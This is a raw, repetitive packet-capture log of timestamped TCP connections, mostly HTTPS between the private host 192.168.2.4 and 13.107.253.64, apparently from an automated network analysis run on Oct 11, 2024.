Oct 11, 2024 20:30:08.630681992 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.630911112 CEST	59017	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.631088018 CEST	59017	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.631104946 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.848872900 CEST	49723	80	192.168.2.4	2.19.126.137
Oct 11, 2024 20:30:08.854679108 CEST	80	49723	2.19.126.137	192.168.2.4
Oct 11, 2024 20:30:08.854746103 CEST	49723	80	192.168.2.4	2.19.126.137
Oct 11, 2024 20:30:08.995002985 CEST	443	59013	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.996038914 CEST	59013	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.996038914 CEST	59013	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.996056080 CEST	443	59013	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.996064901 CEST	443	59013	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.094547033 CEST	443	59015	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.095308065 CEST	59015	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.095329046 CEST	443	59015	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.095551968 CEST	59015	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.095556974 CEST	443	59015	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.104171991 CEST	443	59013	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.104604006 CEST	443	59013	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.104708910 CEST	59013	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.104710102 CEST	59013	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.104739904 CEST	59013	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.104748964 CEST	443	59013	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.107656002 CEST	59018	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.107696056 CEST	443	59018	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.107795954 CEST	59018	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.107958078 CEST	59018	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.107979059 CEST	443	59018	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.108355045 CEST	443	59014	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.109025955 CEST	59014	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.109025955 CEST	59014	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.109041929 CEST	443	59014	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.109049082 CEST	443	59014	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.186088085 CEST	443	59016	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.187045097 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.187045097 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.187107086 CEST	443	59016	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.187155962 CEST	443	59016	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.204994917 CEST	443	59015	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.205382109 CEST	443	59015	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.205481052 CEST	59015	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.205481052 CEST	59015	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.205596924 CEST	59015	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.205607891 CEST	443	59015	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.208447933 CEST	59019	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.208534956 CEST	443	59019	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.208837986 CEST	59019	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.208837986 CEST	59019	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.208937883 CEST	443	59019	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.229593039 CEST	443	59014	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.229760885 CEST	443	59014	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.229850054 CEST	59014	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.229850054 CEST	59014	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.229998112 CEST	59014	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.230010033 CEST	443	59014	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.232299089 CEST	59020	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.232331991 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.232757092 CEST	59020	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.232757092 CEST	59020	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.232790947 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.295617104 CEST	443	59016	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.295665979 CEST	443	59016	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.295854092 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.295854092 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.295854092 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.297789097 CEST	59021	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.297823906 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.298021078 CEST	59021	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.298021078 CEST	59021	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.298055887 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.349862099 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.350614071 CEST	59017	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.350614071 CEST	59017	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.350640059 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.350650072 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.472733974 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.472799063 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.472897053 CEST	59017	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.473129034 CEST	59017	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.473129034 CEST	59017	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.473149061 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.473155022 CEST	443	59017	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.476537943 CEST	59022	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.476583004 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.479522943 CEST	59022	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.479887009 CEST	59022	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.479918957 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.507426977 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.507477045 CEST	443	59016	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.779367924 CEST	443	59018	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.779956102 CEST	59018	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.779980898 CEST	443	59018	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.783056021 CEST	59018	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.783070087 CEST	443	59018	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.891968966 CEST	443	59018	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.892129898 CEST	443	59018	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.892265081 CEST	59018	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.892265081 CEST	59018	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.892357111 CEST	59018	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.892376900 CEST	443	59018	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.894927979 CEST	59023	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.895010948 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.895095110 CEST	59023	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.895353079 CEST	59023	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.895386934 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.917191982 CEST	443	59019	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.917932987 CEST	59019	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.917932987 CEST	59019	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.918025970 CEST	443	59019	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.918060064 CEST	443	59019	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.967798948 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.968492985 CEST	59020	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.968492985 CEST	59020	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:09.968508005 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.968527079 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:09.999382019 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.000017881 CEST	59021	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.000017881 CEST	59021	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.000045061 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.000062943 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.031363010 CEST	443	59019	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.031435966 CEST	443	59019	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.031625032 CEST	59019	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.031625032 CEST	59019	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.031723022 CEST	59019	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.031744003 CEST	443	59019	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.033689022 CEST	59024	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.033714056 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.033874035 CEST	59024	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.033874035 CEST	59024	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.033899069 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.079699039 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.079847097 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.079915047 CEST	59020	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.080081940 CEST	59020	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.080082893 CEST	59020	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.080095053 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.080105066 CEST	443	59020	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.082241058 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.082276106 CEST	443	59025	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.082362890 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.082530975 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.082545042 CEST	443	59025	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.120599031 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.120652914 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.120704889 CEST	59021	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.120851994 CEST	59021	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.120873928 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.120888948 CEST	59021	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.120896101 CEST	443	59021	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.123202085 CEST	59026	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.123213053 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.123282909 CEST	59026	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.123404980 CEST	59026	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.123414993 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.170368910 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.170738935 CEST	59022	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.170763016 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.171150923 CEST	59022	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.171163082 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.287717104 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.287875891 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.287940979 CEST	59022	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.288000107 CEST	59022	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.288017988 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.288034916 CEST	59022	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.288045883 CEST	443	59022	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.290839911 CEST	59027	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.290889978 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.290951967 CEST	59027	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.291083097 CEST	59027	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.291096926 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.585863113 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.586399078 CEST	59023	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.586421967 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.586828947 CEST	59023	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.586833954 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.694652081 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.694777966 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.694905043 CEST	59023	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.694931030 CEST	59023	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.694936991 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.694947958 CEST	59023	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.694952965 CEST	443	59023	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.697448015 CEST	59028	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.697514057 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.697617054 CEST	59028	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.697825909 CEST	59028	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.697848082 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.716017962 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.716351032 CEST	59024	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.716361046 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.716778040 CEST	59024	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.716787100 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.770030975 CEST	443	59025	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.780572891 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.780606031 CEST	443	59025	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:10.781183958 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:10.781198025 CEST	443	59025	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.052217960 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.052733898 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.052759886 CEST	59026	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.052829981 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.052843094 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.052947044 CEST	59024	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.052973032 CEST	59024	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.052973032 CEST	59024	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.052987099 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.052994967 CEST	443	59024	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.053379059 CEST	59026	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.053395987 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.054754019 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.055768013 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.055788994 CEST	59027	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.055799007 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.055860996 CEST	443	59029	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.055922031 CEST	59027	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.055927038 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.055948973 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.056055069 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.056077003 CEST	443	59029	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.178756952 CEST	443	59025	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.178898096 CEST	443	59025	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.179125071 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.179126024 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.179126024 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.181715012 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.181744099 CEST	443	59030	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.182116985 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.182116985 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.182265043 CEST	443	59030	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.184108019 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.184165001 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.184340954 CEST	59026	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.184381962 CEST	59026	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.184381962 CEST	59026	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.184421062 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.184447050 CEST	443	59026	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.184860945 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.184963942 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.185111046 CEST	59027	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.185249090 CEST	59027	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.185249090 CEST	59027	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.185262918 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.185271025 CEST	443	59027	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.186558008 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.186655998 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.186855078 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.186855078 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.186950922 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.187072992 CEST	59032	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.187098980 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.187246084 CEST	59032	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.187246084 CEST	59032	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.187268972 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.489149094 CEST	59025	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.489181995 CEST	443	59025	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.609456062 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.610212088 CEST	59028	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.610228062 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.610574961 CEST	59028	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.610579967 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.724248886 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.724301100 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.724446058 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.724586010 CEST	59028	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.724649906 CEST	59028	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.724649906 CEST	59028	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.724678993 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.724703074 CEST	443	59028	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.727262974 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.727298021 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.727761984 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.727761984 CEST	59033	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.727799892 CEST	443	59033	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.797432899 CEST	443	59029	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.797979116 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.798024893 CEST	443	59029	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.798897982 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.798909903 CEST	443	59029	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.845736980 CEST	443	59030	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.847831011 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.847831011 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.847876072 CEST	443	59030	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.847898006 CEST	443	59030	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.848278999 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.849047899 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.849134922 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.849577904 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.849595070 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.849788904 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.851178885 CEST	59032	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.851206064 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.851501942 CEST	59032	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.851506948 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.912602901 CEST	443	59029	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.912686110 CEST	443	59029	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.912988901 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.912988901 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.912990093 CEST	59029	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.915769100 CEST	59034	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.915810108 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.915997982 CEST	59034	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.916135073 CEST	59034	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.916151047 CEST	443	59034	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.953222990 CEST	443	59030	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.953372002 CEST	443	59030	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.953557968 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.953557968 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.953557968 CEST	59030	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.955945969 CEST	59035	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.955981970 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.956367016 CEST	59035	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.956842899 CEST	59035	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.956855059 CEST	443	59035	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.956861019 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.956891060 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.956948042 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.956996918 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.957057953 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.957259893 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.957294941 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.957341909 CEST	59031	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.957357883 CEST	443	59031	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.959692001 CEST	59036	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.959719896 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.959954023 CEST	59036	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.959954023 CEST	59036	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:11.959980011 CEST	443	59036	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.972675085 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.972700119 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.972821951 CEST	443	59032	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:11.972843885 CEST	59032	443	192.168.2.4	13.107.253.64
